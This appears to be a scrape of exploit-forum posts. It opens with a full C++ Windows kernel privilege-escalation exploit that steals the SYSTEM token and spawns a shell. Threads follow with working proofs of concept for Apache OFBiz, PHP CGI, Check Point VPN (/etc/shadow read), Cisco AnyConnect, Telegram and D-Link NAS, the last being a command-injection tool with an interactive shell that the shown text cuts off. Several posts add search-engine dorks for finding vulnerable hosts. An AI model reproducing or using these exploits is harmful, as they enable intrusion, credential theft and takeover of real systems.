#include <functiondiscovery.h>
#include <mmdeviceapi.h>
#include <stdint.h>
#include <safeint.h>
#include <ntstatus.h>
#include <TlHelp32.h>
#include <winsvc.h>
#include "common.h"
#include <processthreadsapi.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int32_t Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        }

        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
        }
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

    done:
    if (pHandleInfo != NULL)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return Ret;
}

//
// ALlocate fake bitmap for arbitrary r/w operations
//
void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {

    LPVOID allocatedMemory = VirtualAlloc( baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (allocatedMemory == NULL)
    {
        printf("[-] AllocateBitmap failed with error: %d\n", GetLastError());
        return NULL;
    }

    printf("[+] Fake RTL_BITMAP allocated at address = %p\n", allocatedMemory);

    return allocatedMemory;
}

UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
    NTSTATUS status;
    ULONG ulBytes = 0;
    PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

    while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
        {
            char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
            if (moduleName != NULL)
            {
                return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            printf("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return 0;
}

DWORD64 leak_gadget_address(LPCSTR GadgetName)
{
    DWORD64 module_base_kernel, rtlSetAllBits_address;
    HMODULE module_base_user;

    module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!module_base_user)
        goto error;

    rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
    if (!rtlSetAllBits_address) {
        goto error;
    }
    module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
    rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);

    return rtlSetAllBits_address;
error:
    printf("[-] leak_gadget_address failed\n");
    return FALSE;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(void *Dst, void *Src, size_t Size)
{
    NTSTATUS Status = 0;
    PULONG cbNumOfBytesWrite = 0;

    Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
    {
        return -1;
    }
    return Status;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;

    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        command,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

    if (ret == false) {
        printf("CreateProcessFromHandle failed with error = \n", GetLastError());
        return 3;
    }

    return 0;
}

ULONG GetPidByName(const wchar_t* procname) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    ULONG pid;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);
    return pid;
}

int main()
{
    HRESULT hr;
    HANDLE hDrmDevice = NULL;
    UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
    KSPROPERTY *pInBufProperty = (KSPROPERTY*)InBuffer;
    EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);

    UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };

    KSPROPERTY_SERIALHDR *pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
    PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
    EXPLOIT_DATA1 *pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);

    BOOL res = FALSE;
    NTSTATUS status = 0;

    uint32_t Ret = 0;

    const GUID categories[] = {
        KSCATEGORY_DRM_DESCRAMBLE,
    };
    
    //
    // Get a KS object device with ksproxy.ax API
    //
    for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
    {
        hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);

        if (hr != NOERROR) {
            printf("[-] KsOpenDefaultDevice at index %d failed with error = %x\n", i, hr);
            return hr;
        }

        printf("[+] DRM device handle value = %p\n", hDrmDevice);
    }

#ifdef _SE_DEBUG_PRIVILEGE

    HANDLE hToken;
    uint64_t ktoken_obj = 0;
    res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

    if (!res)
    {
        printf("[-] Failed to open current process token\n");
        return res;
    }
    
    res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
    if (res != NULL)
    {
        return -1;
    }

    printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE

    uint64_t Sysproc = 0;
    uint64_t Curproc = 0;
    uint64_t Curthread = 0;
    
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    //
    // Leak System _EPROCESS kernel address
    //
    Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address: %llx\n", Sysproc);
    
    //
    // Leak Current _KTHREAD kernel address
    //
    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current KTHREAD address: %llx\n", Curthread);
    }

    //
    // Leak Current _EPROCESS kernel address
    //
    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address: %llx\n", Curproc);
    }
#endif

    //
    // Initialize input buffer
    //
    pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
    pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
    pInBufProperty->Id = 0x0;

    //
    // Initialize output buffer
    //
    pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
    pSerialHdr->Count = 0x1;

    pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
    pSerial->Id = 0x0;                // Should be null
    pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
    pSerial->PropTypeSet.Flags = 0x0; // Should be null
    pSerial->PropTypeSet.Id = 0x45;   // Irrelevant value

    //
    // Intialize fake property data
    //
    uint64_t ntoskrnl_user_base = 0;
    HMODULE outModule = 0;
    UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
    printf("[+] ntoskrnl.exe base address = %llx\n",  ntoskrnlKernelBase);
    pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));

#ifdef _SE_DEBUG_PRIVILEGE
    //
    // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));                                                                                                           
    printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
    //
    // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; 
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); //  KTHREAD.PreviousMode field address
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits"));  // This gadget will zeroing KTHREAD.PreviousMode field
    printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif

    //
    // Send property request to trigger the vulnerability
    //
    res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);

    if (!res)
    {
        printf("[-] DeviceIoControl failed\n"); // It's ok to see this message if exploit succeded
    }

#ifdef _SE_DEBUG_PRIVILEGE
    
    HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

    if (!hWinLogon) {
        printf("OpenProcess failed with error = 0x%lx\n", GetLastError());
        return FALSE;
    }

    CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");

    return TRUE;
#elif defined _PREVIOUS_MODE
    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

    uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations

    Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8);

    //
    // Restoring KTHREAD.PreviousMode phase
    //
    Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

    //
    // Spawn the shell with "nt authority\system"
    //
    system("cmd.exe");
#endif

    return 0;
}

Spoiler: common.h

C++:Copy to clipboard

#pragma once

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define EPROCESS_SECURE_STATE_OFFSET    0x3E0
#define SEP_TOKEN_PRIVILEGE_OFFSET      0x40
#define SystemHandleInformation            0x10
#define SystemModuleInformation         11
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG                Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

__inline void * ULongLongToPtr64( const unsigned long long ull )
{
    return( (void *)(ULONG_PTR)ull );
}

//
// Declare some functions from ntdll.dll
//
extern "C"
{
    NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid);

    NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString);

    NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService);

    NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite,  PULONG NumberOfBytesWritten OPTIONAL );
}


#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}"

//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)

//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service);
//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service)

//
// Declare data structures related to the exploit
//
typedef struct _RTL_BITMAP
{
    DWORD SizeOfBitMap;
    PVOID Buffer;
}RTL_BITMAP, *PRTL_BITMAP;

#pragma pack(1)
typedef struct _EXPLOIT_DATA1
{
    PRTL_BITMAP  FakeBitmap;   
}EXPLOIT_DATA1;

typedef struct _EXPLOIT_DATA2
{
    char pad[0x20];
    PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits
} EXPLOIT_DATA2;



//
// Kernel object offsets for different Windows versions to maintain exploit
// compatibility
//
enum EPROCESS_TOKEN_OFFSETS
{
    EPROCESS_TOKEN_WIN_SERVER2012_62_9200 = 0x348,
    EPROCESS_TOKEN_WIN_10_1507_10240 = 0x358,
    EPROCESS_TOKEN_WIN_10_1903_18362 = 0x360,
    EPROCESS_TOKEN_WIN_10_2004_19041 = 0x4b8,
    EPROCESS_TOKEN_WIN_10_20H2_19042 = 0x4b8,
    EPROCESS_TOKEN_WIN_11_22H2_22621 = 0x4b8,
};

enum KTHREAD_PREVIOUS_MODE_OFFSETS
{
    PREV_MODE_WIN_SERVER2012_62_9200 = 0x232,
    PREV_MODE_WIN_10_20H2_19042 = 0x232,
    PREV_MODE_WIN_11_22H2_22621 = 0x232,
};

enum TOKEN_PRIVILEGES_OFFSET
{
    TOKEN_PRIV_WIN_10_1507_10240 = 0x40,
    TOKEN_PRIV_WIN_11_22H2_22621 = 0x40,
    TOKEN_PRIV_WIN_11_23H2_22631 = 0x40,
};
CVE-2024-32113 - Apache OFBIZ RCE
ID: 67686ba3b4103b69df379b37
Thread ID: 116012
Created: 2024-06-03T23:33:35+0000
Last Post: 2024-08-30T02:52:29+0000
Author: rwxrwx
Prefix: Remote
Replies: 6 Views: 2K

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 12/18/13. Users are recommended to upgrade to version 12/18/13, which fixes the issue.

FOFA: app="Apache_OFBiz"
- 3146 Results

POC:
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443

groovyProgram=throw+new+Exception('id'.execute().text);

src: [ https://github.com/Mr-xn/CVE-2024-32113](https://github.com/Mr- xn/CVE-2024-32113)

[CVE-2020-3259] Cisco AnyConnect Web Services Information Disclosure Vulnerability
ID: 67686ba3b4103b69df379b43
Thread ID: 117456
Created: 2024-06-24T07:34:16+0000
Last Post: 2024-07-30T04:11:20+0000
Author: mkhalilovx29
Prefix: Web
Replies: 6 Views: 2K

Hey Community!

Didn't see any posts about this PoC, so I figured I'd share since it's still kicking around in 2024: [ Link](https://www.truesec.com/hub/blog/akira- ransomware-and-exploitation-of-cisco-anyconnect-vulnerability-cve-2020-3259)

POC: [POC Link](https://github.com/GossiTheDog/Exploits/blob/main/Cisco- CVE-2020-3259.sh)

Cisco-CVE-2020-3259.sh

Bash:Copy to clipboard

ARGSTR='+CSCOE+/sdesktop/webstart.xml?tokeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeen=!@#$%^&%^&%^&%^&%^&%^&%^&%^%^&%^&%^&%^&%^%^&%^&%^&%^&test=%p'
echo $ARGSTR
curl -k https://1.2.3.4/$ARGSTR --trace-ascii output.txt

This bad boy's a Heartbleed-style vuln. Every time you fire off a request, you can snag a chunk of memory.

Do it enough times (with a bit of luck) and boom – you've got Cisco SSLVPN creds or login sessions.

Can't find any Nuclei or Nmap templates to scan for this thing, but here's a tip: check out the changelog for the fix. The versions are pretty close to the ones that patched CVE-2020-3580 (not exactly, but close enough).

So, you can hunt for vulnerable devices using the CVE-2020-3580 Nuclei template: [Template](https://raw.githubusercontent.com/projectdiscovery/nuclei- templates/main/http/cves/2020/CVE-2020-3580.yaml)

CVE-2024-4577 (PHP cgi injection RCE for windows)
ID: 67686ba3b4103b69df379b57
Thread ID: 116455
Created: 2024-06-09T10:09:12+0000
Last Post: 2024-07-07T03:46:05+0000
Author: heartBit
Prefix: Remote
Replies: 4 Views: 2K

● Github for the exploit: https://github.com/watchtowrlabs/CVE-2024-4577
● Usage: **python watchTowr-vs-php_cve-2024-4577.py -c "" -t url
● **Affected versions of PHP: 8.3 < 8.3.8; 8.2 < 8.2.20; 8.1 < 8.1.29

watchTowr-vs-php_cve-2024-4577.py

Python:Copy to clipboard

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber)
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
                  \\/          \\/     \\/                           
      
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')

You may leave the dorks for shodan and FOFA down below
👇👇👇👇👇👇👇

CVE-2024-24919
ID: 67686ba3b4103b69df379b60
Thread ID: 116225
Created: 2024-06-06T10:06:40+0000
Last Post: 2024-06-12T07:15:21+0000
Author: blacksnake
Prefix: Remote
Replies: 6 Views: 2K

CVE-2024-24919

Check Point Remote Access VPN 0-Day

more than 50K vul machine

FOFA link https://en.fofa.info/result?qbase64=YXBwPSJDaGVja19Qb2ludC1TU0wtTmV0d29yay1FeHRlbmRlciI=
*
POC:
POST /clients/MyCRL HTTP/1.1
Host:
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

its high time to end this society :)

telegram rce poc
ID: 67686ba3b4103b69df379b6c
Thread ID: 112507
Created: 2024-04-12T11:02:36+0000
Last Post: 2024-04-28T12:09:41+0000
Author: elvira
Prefix: Local
Replies: 12 Views: 2K

There is currently an exploit with Telegram where you can send a .pyzw file with the mimetype of video/mp4, on certain systems it will result in Python code execution upon clicking the video!

Relevant GitHub issue: https://github.com/telegramdesktop/tdesktop/pull/27737
Limitations: Target must be on Windows. Target must have Python installed

JavaScript:Copy to clipboard

const fs = require("fs");
const TelegramBot = require("node-telegram-bot-api");

const token = "BOT_TOKEN";

const bot = new TelegramBot(token, { polling: true });

bot.onText(/\/video/, (msg) => {
  const chatId = msg.chat.id;

  bot.sendVideo(
    chatId,
    fs.readFileSync("/home/user/download.pyzw"),
    {
      width: 300,
      height: 300,
      duration: 30,
      // thumbnail: "https://duckduckgo.com/favicon.ico",
    }, {
      filename: "coolvideo.pyzw",
      contentType: "video/mp4"
    }
  );
});

download.pyzw content:

Code:Copy to clipboard

__import__("subprocess").call(["calc.exe"])
[CVE-2024-3273] Exploit D-Link NAS + POC
ID: 67686ba3b4103b69df379b6f
Thread ID: 112208
Created: 2024-04-07T20:26:38+0000
Last Post: 2024-04-19T04:57:55+0000
Author: Guest
Prefix: Remote
Replies: 9 Views: 2K

shell.png

Vulnerability Summary:

The described vulnerability affects multiple D-Link NAS devices, including models DNS-340L, DNS-320L, DNS-327L, and DNS-325, among others. The vulnerability lies within the nas_sharing.cgi uri, which is vulnerable due to two main issues: a backdoor facilitated by hardcoded credentials, and a command injection vulnerability via the system parameter. This exploitation could lead to arbitrary command execution on the affected D-Link NAS devices, granting attackers potential access to sensitive information, system configuration alteration, or denial of service, by specifying a command,affecting over 92,000 devices on the Internet.

Manual Exploitation:
Craft a malicious http request targeting/cgi-bin/nas_sharing.cgi endpoint.**
GET /cgi- bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<base64_encoded_command>**

Queries:​

Fofa: app="D_Link-DNS-ShareCenter"
Shodan: CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR

Spoiler: POC

Python:Copy to clipboard

import base64
import requests
import argparse

from rich.console import Console
from alive_progress import alive_bar
from typing import Tuple, Optional, List
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning


class DLink:
    def __init__(self, base_url: Optional[str]=None) -> None:
        self.base_url: Optional[str] = base_url
        self.session: requests.Session = requests.Session()
        self.console: Console = Console()
 
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    def custom_print(self, message: str, header: str) -> None:
        header_colors: dict = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    def execute_command(self, command: str = "id", verbose: bool = True) -> str:
        command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in command)
        command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
        base64_cmd: str = base64.b64encode(command_final.encode()).decode()
        url: str = f"{self.base_url}/cgi-bin/nas_sharing.cgi"
        params: dict = {
            "user": "messagebus",
            "passwd": "",
            "cmd": "15",
            "system": base64_cmd,
        }
        try:
            response: requests.Response = self.session.get(
                url, params=params, verify=False, timeout=10
            )
            result: str = (
                response.text.split("<?xml", 1)[0]
                if "<?xml" in response.text
                else None
            )
            if verbose:
                self.custom_print(
                    "Command executed successfully."
                    if result
                    else "Failed to execute command.",
                    "+" if result else "-",
                )
            return result

        except requests.exceptions.Timeout:
            if verbose:
                self.custom_print("Request timed out.", "-")
        except requests.exceptions.RequestException as e:
            if verbose:
                self.custom_print(f"Request failed: {e}", "-")

    def check_single_url(self, url: str) -> Tuple[str, bool]:
        self.base_url = url
        result: str = self.execute_command(verbose=False)
        is_vulnerable: bool = bool(result)
        return f"{url} is vulnerable to CVE-2024-3273: {result}", is_vulnerable

    def interactive_shell(self) -> None:
        initial_result = self.execute_command()
        if initial_result:
            self.custom_print(
                f"{self.base_url} is vulnerable to CVE-2024-3273: {initial_result}", "!"
            )
            self.custom_print("Opening interactive shell...", "+")
            session: PromptSession = PromptSession(history=InMemoryHistory())

            while True:
                try:
                    cmd: str = session.prompt(
                        HTML("<ansiyellow><b># </b></ansiyellow>"), default=""
                    ).strip()
                    if cmd.lower() == "exit":
                        break
                    elif cmd.lower() == "clear":
                        self.console.clear()
                        continue
                    output: str = self.execute_command(cmd)
                    if output:
                        print(f"{output}\n")
